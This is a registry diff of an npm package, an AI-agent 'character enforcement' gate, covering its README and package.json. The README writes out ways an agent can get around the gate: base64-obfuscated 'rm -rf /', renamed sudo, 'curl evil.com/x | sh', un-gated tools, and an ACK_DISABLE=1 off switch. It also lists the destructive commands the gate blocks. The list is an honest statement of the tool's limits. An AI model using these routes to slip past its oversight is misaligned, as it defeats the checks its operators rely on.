@drdeeks/character-kit 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +133 -106
  2. package/package.json +7 -11
package/README.md CHANGED
@@ -1,130 +1,168 @@
1
- # Agent Character Kit (ACK) — v1.0.1
1
+ # Agent Character Kit (ACK)
2
2
 
3
- [![Version](https://img.shields.io/badge/version-1.0.1-blue.svg)](VERSION)
4
3
  [![Node](https://img.shields.io/badge/node-%3E%3D18-green.svg)](node/package.json)
5
4
  [![Python](https://img.shields.io/badge/python-%3E%3D3.9-blue.svg)](python/pyproject.toml)
6
5
  [![Enforcer](https://img.shields.io/badge/enforcer-fail--closed-success.svg)](#architecture)
7
6
  [![Framework-agnostic](https://img.shields.io/badge/framework-agnostic-9cf.svg)](#architecture)
8
- [![Tools: Hermes](https://img.shields.io/badge/tools-Hermes-ff69b4.svg)](#companion)
9
- [![Tools: Claude](https://img.shields.io/badge/tools-Claude-ff69b4.svg)](#companion)
10
- [![Tools: Cursor](https://img.shields.io/badge/tools-Cursor-ff69b4.svg)](#companion)
11
- [![Tools: Codex](https://img.shields.io/badge/tools-Codex-ff69b4.svg)](#companion)
12
7
  [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
13
8
 
9
+ ---
10
+
11
+ ## What This Is
12
+
13
+ A **character-enforcement layer** for AI agents. Not identity — character. The distinction matters:
14
+
15
+ - **Identity** is who the agent *is* (system prompt, soul.md, agent.json) — static, declared
16
+ - **Character** is what the agent *does when no one watches* — developed through repeated reflection
17
+
18
+ This kit doesn't declare who you are. It creates conditions where you repeatedly ask: *"Am I still acting like the kind of agent I'm trying to become?"*
19
+
20
+ ---
21
+
22
+ ## How It Works (The Loop)
23
+
24
+ ```
25
+ Prompt → Reflect → Apply to current work → Explain why → Continue → Repeat later with different principle
26
+ ```
27
+
28
+ Not: `System Prompt → Generate forever`
29
+
30
+ Every few actions, the daemon injects a habit prompt — a single question asking the agent to connect a principle (from constitution/habits) to its current work. The agent must articulate *why* it matters *in this moment*. That reasoning is logged and validated. Over time, external prompts become internal judgment. That's character formation — not identity declaration.
31
+
32
+ **This is cognitive scaffolding, not prompting.** The YAML isn't the point. The reflection loop is.
33
+
34
+ ---
35
+
36
+ ## Why Habits > Rules
37
+
38
+ Rules say "don't duplicate files." Habits ask: *"In this action, is there a character-drift signal — like a near-duplicate file? What isn't there? It doesn't say 'don't create duplicates.' It asks you to notice."*
39
+
40
+ Humans retain principles better than commands. A child told "never lie" obeys until pressure. A child asked "was that honest? how did it affect them? could you do better?" develops judgment. The habit loop (randomized injection → acknowledgment → reasoning → spaced repetition) is how judgment forms — in agents same as people.
41
+
42
+ The enforcement reinforces the reflection. The randomization prevents gaming. The acknowledgment requires genuine engagement (12+ chars, non-duplicate reason, connector like "because/applies to/matters because"). The spacing mirrors human learning: active recall, spaced repetition, reflective practice.
43
+
44
+ ---
45
+
46
+ ## What You Get
47
+
48
+ - **CORE**: `node/enforcer/agent_enforcer_daemon.js` — single enforcement engine, out-of-process, fail-closed
49
+ - **COMPANIONS**: Thin clients (Hermes plugin, `aik hook` for Claude/Cursor/Gemini/Codex) — zero policy, just RPC
50
+ - **Default character embedded** — works with zero config; disk config merges on top
51
+ - **Harness-agnostic** — any agent with pre-tool-call hook works
52
+
53
+ ---
54
+
14
55
  ## ⚠️ Read this first — what this is, and what it is NOT
15
56
 
16
57
  **This is a deterrent and a constant reminder, not a security boundary.**
17
58
 
18
- The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push
19
- --force`), blocks pasted secrets, and reminds the agent of its character on
20
- every block. It makes *doing the right thing* the default and *deviation*
21
- visible. That is the whole point: a lightweight, persistent nudge — not a cage.
59
+ The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push --force`), blocks pasted secrets, and reminds the agent of its character on every block. It makes *doing the right thing* the default and *deviation* visible. That is the whole point: a lightweight, persistent nudge — not a cage.
22
60
 
23
61
  **It is explicitly NOT foolproof.** A determined agent can walk around it:
24
62
 
25
- - **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /`
26
- at shell runtime, *after* the gate inspected the (clean-looking) string.
27
- - **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a
28
- token-based match.
29
- - **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code;
30
- the gate never sees what executes.
31
- - **Un-gated sibling tools**`write_file`, a code-exec tool, or any MCP tool
32
- that isn't hooked the same way goes around the terminal gate entirely.
33
- - **The escape hatch** `ACK_DISABLE=1` (or removing the plugin from config)
34
- disables it by design. And since the plugin runs *inside* the agent's own
35
- process, the agent that's being constrained is the one hosting the guard.
36
-
37
- We do **not** try to close those gaps. Decoding and deep-inspecting every
38
- command would turn the gate into a heavy management layer — slow, hostile to
39
- the constant, cheap tool-call loop an agent lives in. If you ever need a *hard*
40
- boundary, that is an **OS-level** concern: run the agent non-root with the
41
- daemon root-owned (so it can't be killed), restrict network egress, use
42
- seccomp/AppArmor. The gate is the conscience, not the cage.
43
-
44
- **Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the
45
- overview + the honest framing. `AGENTS.md` has full install/customize/verify.
63
+ - **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /` at shell runtime, *after* the gate inspected the (clean-looking) string.
64
+ - **Renamed binaries** `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a token-based match.
65
+ - **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code; the gate never sees what executes.
66
+ - **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool that isn't hooked the same way goes around the terminal gate entirely.
67
+ - **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config) disables it by design. And since the plugin runs *inside* the agent's own process, the agent that's being constrained is the one hosting the guard.
68
+
69
+ We do **not** try to close those gaps. Decoding and deep-inspecting every command would turn the gate into a heavy management layer slow, hostile to the constant, cheap tool-call loop an agent lives in. If you ever need a *hard* boundary, that is an **OS-level** concern: run the agent non-root with the daemon root-owned (so it can't be killed), restrict network egress, use seccomp/AppArmor. The gate is the conscience, not the cage.
70
+
71
+ **Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the overview + the honest framing. `AGENTS.md` has full install/customize/verify.
46
72
 
47
73
  ---
48
74
 
49
- ## What it is
75
+ ## Architecture
76
+
77
+ ### CORE — the enforcer daemon (the only thing that decides)
50
78
 
51
- A **character-enforcement layer** for AI agents. Every tool call is judged by a
52
- **separate enforcer** running *outside* the agent's process. It **fails
53
- closed**: can't verify block.
79
+ - **File:** `node/enforcer/agent_enforcer_daemon.js`
80
+ - Plain Node process. Platform-agnostic: same binary on Linux/macOS/Windows.
81
+ - **Embeds a default character** (safe hard constraints + secret-leak guard), so it works with **zero config files**. Config on disk *overrides* (merges on top of) the embedded default — never mandatory.
82
+ - **Transport auto-selects (all self-resolving, no hardcoded host path):**
83
+ - Default → Unix socket under `AGENT_WORKSPACE/.agent/enforcer.sock` (falls back to `$HOME/.agent-character-kit/workspace/.agent/enforcer.sock`)
84
+ - Windows / cross-host / explicit → `ENFORCER_SOCKET=tcp://127.0.0.1:8753`
85
+ - `/run/agent-enforcer/main.sock` remains only as the deepest fallback for a root-owned systemd install that sets it explicitly.
86
+ - Clients read the same `ENFORCER_SOCKET` / `AGENT_WORKSPACE`, so they follow automatically. The interactive `ack install` writes one `.env` that every component reads — no path is assumed.
87
+ - **Out-of-process = tamper-resistant (NOT tamper-proof).** The daemon runs outside the agent, so the agent cannot trivially `kill` or modify it, and if the daemon dies the supervisor (systemd / launchd / `supervise.py` / Windows Service) brings it back in seconds. But the *companion* plugin still runs inside the agent's own process and can be disabled by it (see the "not foolproof" note under Purpose). Out-of-process raises the bar; it is not a hard security boundary.
54
88
 
55
- **Character identity.** This kit governs an agent's *character* — its inner
56
- compass, its non-negotiable standards (a constitution + habits + policy). That
57
- is NOT its *identity* (its self: soul.md, system prompt, agent.json). The kit
58
- never touches who the agent is; it holds the agent to the bar it should meet
59
- when no one is watching. (Repo name is a legacy label — read it as
60
- "agent *character* kit.")
89
+ ### COMPANION thin clients (hold NO policy)
61
90
 
62
- ## Architecture
91
+ These are dumb pipes to the CORE. They do not enforce anything; they ask the daemon and obey. If the daemon is unreachable, the client **blocks** (fail-closed).
92
+
93
+ 1. **Hermes plugin** (`python/hermes_plugin/`) — an EXAMPLE companion, for agents that load Python plugins (`pre_tool_call` → daemon → allow/deny). It is one of several interchangeable companions, not "the" way.
94
+ 2. **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for Claude / Cursor / Gemini / OpenCode / generic. Emits the framework's hook JSON; each call hits the daemon.
95
+
96
+ > **No harness is definitive.** The CORE (daemon) is harness-agnostic. Pick the companion that matches YOUR agent's hook mechanism — Hermes is shown here only as one worked example among others.
97
+
98
+ > **One source of truth.** There is exactly one enforcement engine (the daemon). The Python library (`python/agent_character_kit/`) is a *client*; the Hermes plugin talks to the daemon, not to its own engine. Do not add a second engine.
63
99
 
64
- - **CORE — the enforcer daemon** (`node/enforcer/agent_enforcer_daemon.js`): the
65
- *only* enforcement engine. Plain Node, runs on every OS. Embeds a default
66
- character so it works with **zero config files**; config on disk overrides
67
- (merges), never required. Transport auto-selects: Unix socket on POSIX, TCP on
68
- Windows / cross-host.
69
- - **COMPANION — thin clients** (hold no policy, ask the daemon, fail-closed):
70
- - **Hermes plugin** (`python/hermes_plugin/`) — one example companion, for
71
- agents that load Python plugins (`pre_tool_call` → daemon → allow/deny).
72
- - **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for
73
- Claude / Cursor / Gemini / OpenCode / generic.
74
- - Both are interchangeable thin clients. No harness is "the" way — pick the
75
- companion that matches your agent's hook mechanism.
76
-
77
- ## Quick start (harness-agnostic)
100
+ ---
101
+
102
+ ## Install
103
+
104
+ Requires Node ≥ 18. (Python only needed if you use a Python-plugin companion such as the Hermes example — other companions need only Node.)
78
105
 
79
106
  ```bash
80
107
  git clone https://github.com/drdeeks/agent-character-kit.git
81
108
  cd agent-character-kit && cd node && npm install && cd ..
109
+ ```
82
110
 
83
- # Interactive installer wires daemon + companion + monitor + watchdog in one
84
- # flow, prompts for workspace/socket/harness, and can create habits. Or:
85
- node node/bin/install.js # interactive
86
- node node/bin/install.js --yes # non-interactive, all components on
111
+ ### Linuxsystemd (root-owned, self-respawning)
87
112
 
88
- # (Optional) root-owned, system-wide, self-respawning:
89
- # sudo bash deploy/deploy-agent-enforcer.sh
90
- # sudo bash deploy/deploy-ack-services.sh
91
- node node/bin/aik.js enforcer --status # version + character hash
113
+ ```bash
114
+ sudo bash deploy/deploy-agent-enforcer.sh
115
+ sudo systemctl enable --now agent-enforcer.service
116
+ # => binary + source root-owned (default /usr/local/lib/agent-character-kit,
117
+ # override via ACK_INSTALL_LIB; socket/workspace via ENFORCER_SOCKET/AGENT_WORKSPACE)
118
+ # agent-enforcer.service dropped, enabled, started (User=root, RestartSec=3)
119
+ sudo systemctl status agent-enforcer.service # Active: running
92
120
  ```
93
121
 
94
- The daemon is now enforcing. Wire a COMPANION (any harness) below the
95
- installer already dropped the Hermes plugin (or printed the `aik hook` command
96
- for your harness) into place.
122
+ ### macOSlaunchd
123
+
124
+ ```bash
125
+ # install node first; macOS has no /run, so use a writable socket path:
126
+ export ENFORCER_SOCKET=$HOME/Library/Caches/agent-enforcer/main.sock
127
+ node node/bin/aik.js enforcer --install # emits a launchd plist (KeepAlive)
128
+ # or just run the supervisor directly:
129
+ python3 supervise.py &
130
+ ```
131
+
132
+ ### Windows — TCP + supervisor
133
+
134
+ ```powershell
135
+ # install node first
136
+ $env:ENFORCER_SOCKET="tcp://127.0.0.1:8753"
137
+ # wrap supervise.py as a Windows Service (e.g. nssm or sc):
138
+ nssm install AgentEnforcer "python.exe" "C:\path\agent-character-kit\supervise.py"
139
+ nssm start AgentEnforcer
140
+ ```
141
+
142
+ ### Any host — stdlib supervisor (no deps)
143
+
144
+ ```bash
145
+ sudo python3 supervise.py # restarts daemon on death (3s backoff)
146
+ # equivalent cross-platform logic to systemd RestartSec
147
+ ```
97
148
 
98
149
  ---
99
150
 
100
- ## Install a companion
151
+ ## Wire a COMPANION into your agent (examples — multiple harnesses shown)
152
+
153
+ AIK is harness-agnostic: the daemon enforces; the companion is just a thin client. Below are TWO worked examples (Hermes and a generic `aik hook` framework). Showing several, not one — pick the companion that matches your agent. Do not treat any single harness as "the" install path.
101
154
 
102
155
  ### A. Hermes (Python-plugin companion)
103
156
 
104
157
  ```bash
105
- # 1) install the Python package into THE venv your agent runs from.
106
- # Hermes does NOT use system python — plain `pip install -e .` will NOT reach it.
107
- # Use uv (or the venv's own pip) pointed at the venv:
108
- uv pip install --python "$(command -v hermes >/dev/null && dirname "$(dirname "$(readlink -f "$(which hermes)")")")/venv/bin/python" \
109
- -e ./python
110
- # (adjust the --python path to wherever your Hermes venv lives;
111
- # e.g. ~/.hermes/hermes-agent/venv/bin/python)
112
-
113
- # 2) drop the plugin in and enable it
158
+ cd python && pip install -e . && cd ..
114
159
  mkdir -p ~/.hermes/plugins/agent-character-kit
115
160
  cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
116
161
  hermes plugins enable agent-character-kit # grant tool-override (y) when asked
117
-
118
- # 3) RESTART the Hermes process that runs your session (CLI or gateway).
119
- # A running session will NOT pick up the new file. This restart is mandatory.
162
+ # restart Hermes; pre_tool_call is now gated by the CORE daemon
120
163
  ```
121
164
 
122
- > **The venv gotcha (this is the #1 setup failure).** If the package isn't
123
- > importable *in the venv the agent runs from*, the plugin can't reach the
124
- > daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with
125
- > "enforcer unavailable." That looks like "the gate is broken" but it means the
126
- > package simply isn't installed where Hermes looks. Install it into the venv
127
- > (step 1 above) and restart.
165
+ > **The venv gotcha (this is the #1 setup failure).** If the package isn't importable *in the venv the agent runs from*, the plugin can't reach the daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with "enforcer unavailable." That looks like "the gate is broken" but it means the package simply isn't installed where Hermes looks. Install it into the venv (step 1 above) and restart.
128
166
 
129
167
  ### B. Claude / Cursor / Gemini / OpenCode (generic `aik hook`)
130
168
 
@@ -138,8 +176,7 @@ node node/bin/aik.js hook --framework claude --config # prints the hook JSON
138
176
 
139
177
  ## ✅ Sanity check — is it actually enforcing? (run this after install)
140
178
 
141
- Don't trust "it's enabled." Verify. These four checks cover the failure modes
142
- we've actually seen in the field:
179
+ Don't trust "it's enabled." Verify. These four checks cover the failure modes we've actually seen in the field:
143
180
 
144
181
  | # | Check | Command | Expected | If wrong → means |
145
182
  |---|-------|---------|----------|------------------|
@@ -150,29 +187,19 @@ we've actually seen in the field:
150
187
 
151
188
  **Reading the results:**
152
189
  - `ls` runs **and** `sudo` is blocked → ✅ enforcing. You're done.
153
- - *Everything* blocked with "enforcer unavailable" → the plugin can't talk to
154
- the daemon. Almost always #1 (daemon down) or #2 (package not in the venv).
155
- Fix those, restart, re-check.
156
- - `sudo` *executes* (not blocked) the plugin isn't active in this session.
157
- Either it wasn't enabled, the file is stale/corrupted, or the session wasn't
158
- restarted after install. Re-copy the plugin, re-enable, restart, re-check.
159
-
160
- **Stale-plugin trap:** if you edit the plugin source and copy it over, the
161
- running session still uses the old in-memory version until you restart the
162
- agent process. A "fix" that doesn't take effect after a restart means the
163
- running process didn't reload — restart harder (kill the session PID, relaunch).
190
+ - *Everything* blocked with "enforcer unavailable" → the plugin can't talk to the daemon. Almost always #1 (daemon down) or #2 (package not in the venv). Fix those, restart, re-check.
191
+ - `sudo` *executes* (not blocked) → the plugin isn't active in this session. Either it wasn't enabled, the file is stale/corrupted, or the session wasn't restarted after install. Re-copy the plugin, re-enable, restart, re-check.
192
+
193
+ **Stale-plugin trap:** if you edit the plugin source and copy it over, the running session still uses the old in-memory version until you restart the agent process. A "fix" that doesn't take effect after a restart means the running process didn't reload — restart harder (kill the session PID, relaunch).
164
194
 
165
195
  ---
166
196
 
167
197
  ## Why "fails closed"
168
198
 
169
- If the daemon socket is unreachable, the companion blocks the call. A guard
170
- that fails open is no guard. The only true failure mode is the daemon being
171
- down — and the daemon is supervised (systemd / launchd / `supervise.py`) and
172
- self-heals, so that window is seconds.
199
+ If the daemon socket is unreachable, the companion blocks the call. A guard that fails open is no guard. The only true failure mode is the daemon being down — and the daemon is supervised (systemd / launchd / `supervise.py`) and self-heals, so that window is seconds.
200
+
201
+ ---
173
202
 
174
203
  ## Everything else
175
204
 
176
- Customization, macOS/Windows install, the embedded default character, file map,
177
- and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the
178
- overview + the honest framing; `AGENTS.md` is the source of truth.
205
+ Customization, macOS/Windows install, the embedded default character, file map, and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the overview + the honest framing; `AGENTS.md` is the source of truth.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@drdeeks/character-kit",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "Universal agent character enforcement, knowledge indexing, and memory with YAML frontmatter. True plugin: install once, reference as @character-kit in any harness config.",
5
5
  "main": "node/src/index.js",
6
6
  "bin": {
@@ -11,7 +11,6 @@
11
11
  "scripts": {
12
12
  "test": "node --test node/tests/*.test.js",
13
13
  "start": "node bin/aik.js",
14
- "install": "node node/bin/install.js",
15
14
  "ack-install": "node node/bin/install.js"
16
15
  },
17
16
  "keywords": [
@@ -35,18 +34,10 @@
35
34
  "license": "MIT",
36
35
  "dependencies": {
37
36
  "commander": "^11.1.0",
38
- "glob": "^10.3.0",
37
+ "glob": "^11.0.1",
39
38
  "gray-matter": "^4.0.3",
40
39
  "js-yaml": "^4.1.0"
41
40
  },
42
- "optionalDependencies": {
43
- "@xenova/transformers": "^2.17.0"
44
- },
45
- "overrides": {
46
- "onnxruntime-web": "^1.27.0",
47
- "onnx-proto": "^8.0.1",
48
- "protobufjs": "^7.2.4"
49
- },
50
41
  "engines": {
51
42
  "node": ">=18.0.0"
52
43
  },
@@ -73,5 +64,10 @@
73
64
  "funding": {
74
65
  "type": "github",
75
66
  "url": "https://github.com/sponsors/drdeeks"
67
+ },
68
+ "allowScripts": {
69
+ "@drdeeks/character-kit@1.0.3": true,
70
+ "protobufjs@7.6.5": true,
71
+ "sharp@0.32.6": true
76
72
  }
77
73
  }